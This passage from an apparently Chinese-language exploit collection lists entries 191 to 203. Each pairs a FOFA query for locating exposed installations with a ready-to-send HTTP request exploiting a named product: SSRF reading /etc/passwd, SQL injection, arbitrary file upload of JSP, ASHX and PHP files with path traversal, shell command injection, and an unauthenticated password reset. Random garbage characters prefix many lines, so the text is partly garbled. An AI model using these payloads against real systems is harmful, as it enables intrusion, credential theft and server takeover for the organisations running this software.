FOFA：title=="短视频矩阵营销系统"
0 q" N  L* C6 l4 qPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
1 V6 Q# f, Z- ^: k! bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
9 k+ p# h* @3 i3 P% v* `Accept-Encoding: gzip, deflate
! \/ Q& a! M6 Y2 U( LAccept-Language: zh-CN,zh;q=0.9
9 b% o( I$ l- z, ^6 w
0 _+ F; f& _2 }8 i/ Kpoi=file:///etc/passwd
* T5 o" p3 ^" e4 r1 a
1 W, m7 G& h2 ~( y; i* ?5 A% I. H# f
. S- ?. j4 Z; D191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
+ g, M& V* t; i; V4 [. f! rFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 J$ w9 x+ p) h$ U8 UContent-Type: application/x-www-form-urlencoded
; m* U# P6 [- z! x  M/ M
* z9 ]5 a% U* f' R) gcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
( H. z9 H! r$ M
* x, C  z$ a2 ?2 g7 b& Y
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
- f: Z8 g$ A5 T5 ~) x2 F6 y# ~FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
- `: k6 `! M) R5 A- }: k8 {; TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
6 y; w" b+ m4 ?2 c

' f5 c1 }0 W! m<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
+ y, F2 t6 l* t0 s2 A# u6 ypublic class AverageHandler : IHttpHandler
{
public bool IsReusable
7 L" v' D2 i$ v{ get { return true; } }
5 G6 @- B( I( N& R/ O% O. |public void ProcessRequest(HttpContext ctx)
{
( Q0 j  F! E$ N, @- bctx.Response.Write("test");
}
}
' H- i$ y7 A5 @. t3 K4 f
- P5 I8 l( s; M& t* K( T
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
, }6 I9 F/ e- r* HFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
( f6 C; C* D6 w4 SCookie: PHPSESSID=2333333333333;
! A& I- |! ?3 b: P5 }Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
( b0 @" g2 c6 j! i- _1 I
' D3 n% }# H( h5 J8 |
' y  J9 k9 \. A7 IPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
$ ~$ c3 c1 k9 J$ VUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
5 z7 v" O' W  VConnection: close
3 U" z' u4 F/ SCookie: PHPSESSID=2333333333333;
9 x- s, n8 k9 E3 p/ vContent-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

7 M1 M* n; Q; J: j1 \$ `8 i
, M( o4 `  X: K( [* ~GET /master/img/config HTTP/1.1
Host:
/ Z) Y; |1 B. a- y9 g& q, CUser-Agent: Mozilla/5.0
) f! X# [/ P% l/ ]  s. [% d, a
# k( G, }; s* s1 {) v
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
8 A/ h( z2 y8 D/ T) G0 k9 p5 J
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
: I% ?2 l2 s8 X+ h9 ]+ RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 g  ?' ~3 |8 y* N2 N& CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- K8 C- y( F8 v' LAccept-Encoding: gzip, deflate
, x: n) Q$ x( [% H6 OConnection: close
/ {  E2 n: A+ t  ^( z! WContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

+ C! d6 g# b' t/ y$ iContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
* r, E9 I; a& y9 y1 R) y------WebKitFormBoundaryKNt0t4vBe8cX9rZk
* x/ J# g( u8 E" L* X. ^' tContent-Disposition: form-data; name="json"
/ A% S9 L9 X# U) W6 B {"iq":{"query":{"UpdateType":"mail"}}}
( G% X# w# o# v$ o% \------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
/ M' [, C* k% R9 ?1 uFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
9 o6 \5 d0 H) n6 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
( d8 `( f+ Z+ sContent-Type: application/x-www-form-urlencoded
Content-Length: 68
" U. x6 M, p/ _) |( \
, ~* U7 M  y0 \. d$ p3 e{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


" o0 K; b4 q; h9 g0 D& ?196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
; C  W/ Y% _4 P5 MPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
. F7 u' e; X( f2 @/ u& ?Content-Length: 45
Connection: close
7 r) ~* S& G) C& B  S' K; d) m
8 e8 P! p; w- \( K% X, z2 e{"xgh":"test","newPass":"test666","email":""}
3 @) c; O5 ]% D1 t9 b6 G
6 W; M6 J2 t3 D: C$ A* J" I% r
" p: d+ A' I2 O+ V9 Y3 e- ]
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
* R) J* J" _6 k  f) Q: r' _FOFA：app="浙大恩特客户资源管理系统"
2 T+ b) \/ E' }6 U2 i1 Y1 w( p. R% VGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
* Q- |4 H0 }& ~Host:
+ e/ m1 ~; D3 m1 w  [- l, T  NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
2 l. D) b9 m  r# }1 o3 AConnection: close

! C. ?9 ^" c; i" Q

198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
" z7 M- a" L- B4 lCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
& g5 I9 k2 G+ |/ k0 hAccept: */*
- k, ~; s" G$ G; y2 r& u2 HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


199. cockpit系统assetsmanager_upload接口 文件上传
: r- m( }+ b% I$ ~  Q+ c
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
8 N8 ?* B8 L/ r4 n/ u" e2 O
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

6 j5 t: w5 v6 ]( p- ?2.使用刚才上一步获取到的jwt获取cookie：
0 M- N1 u, c) G2 {. S
POST /auth/check HTTP/1.1
Content-Type: application/json
1 V5 }: t4 U1 c; [4 l) }$ R
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
4 {* D9 }5 M, b. }. g
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
; ?* o$ e1 k% ?4 N7 r* z. cFofa：title="Authenticate Please!"
# Z9 O. c7 C; g, ~9 G5 q# QPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
$ X) b( S; r- N2 x' u" }  }Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

6 N( B3 q: U* |9 k-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

7 U0 ^" n, {; b4 a* x<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

1 x0 U/ K8 R; ~  i8 B, x-----------------------------36D28FBc36bd6feE7Fb3--
3 L) s# h* Z# M- \9 y1 b5 T

/storage/uploads/tttt.php

0 Z1 b  e$ v  T6 i: [4 j9 [200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
2 I) d, a. P6 b/ E1 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 [+ o" }/ ~! w; |- OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
% f  U0 ~  p0 f  j4 YPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
5 s0 C/ o! l' sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 B: H$ X$ d  Q1 {/ wConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
& a6 `  F7 |( W: n. P
1 L6 l* T: B6 \2 |7 n
% G5 g. e! g! `* [! R6 U202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
6 d( q( T, {" i; Q# e1 J* M& V8 \获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
; f' q6 m2 E/ e) F- J+ `0 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
  g& u( W8 B. a2 B0 e2 xContent-Length: 0
9 D+ d' b0 m9 v! W+ W" i2 ^

替换__VIEWSTATE和__EVENTVALIDATION值
: A2 T2 i" ]# t5 `POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
& c0 r+ y, A/ y' s! M
-----------------------------786435874t38587593865736587346567358735687
: }) M1 z0 S9 f  f0 n( DContent-Disposition: form-data; name="__VIEWSTATE"

  E, V! _: X$ g' f5 E__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
3 _8 }3 K: z3 F9 ]* {Content-Disposition: form-data; name="__EVENTVALIDATION"

& F) E3 W2 v5 j6 o0 @__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
4 Q# u( H6 N% ^4 M
Hello World!
-----------------------------786435874t38587593865736587346567358735687
- S: b: T: b/ ^8 c; c& U0 X& ]4 f  n# yContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
& C3 x; m. G. W
; o3 Y0 l( ?' u; U+ Z0 H上传图片
/ S1 ]  B: J) |2 F  l-----------------------------786435874t38587593865736587346567358735687
; _' w" R) m7 @$ }Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

9 |# v" m, g% B' F: \7 A
/ |5 {- W3 ^* B. i-----------------------------786435874t38587593865736587346567358735687
2 w: h  {; l6 ?5 gContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
4 g6 N7 C* F4 x' V+ g# Y
$ r- F0 D$ W, O. V  Y& {, @% {
. b# \! O5 T3 j' A-----------------------------786435874t38587593865736587346567358735687--

. Z: p* B/ {2 o0 k8 o+ h
/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
5 R+ D) M/ g! q0 q* j2 O4 UFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
% }4 T% @1 t5 EHost: x.x.x.x
3 J1 W2 Q8 Q+ C: m* RAccept-Encoding: gzip
% y  J: f- @* ^  _8 HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- f' R- M9 N' M% [Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
% H! v/ S1 G2 _' h0 v8 H
------WebKitFormBoundaryt7WbDl1tXogoZys4
. {) r+ L! s& a: @4 kContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

  L3 F5 E2 ?8 j0 z) O" `<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--


" v' n6 d; C1 C3 W! k6 m8 |

, |+ K! b# R) `5 F" D0 u$ [1 p
0 y' Z' x! t5 D9 K0 [" r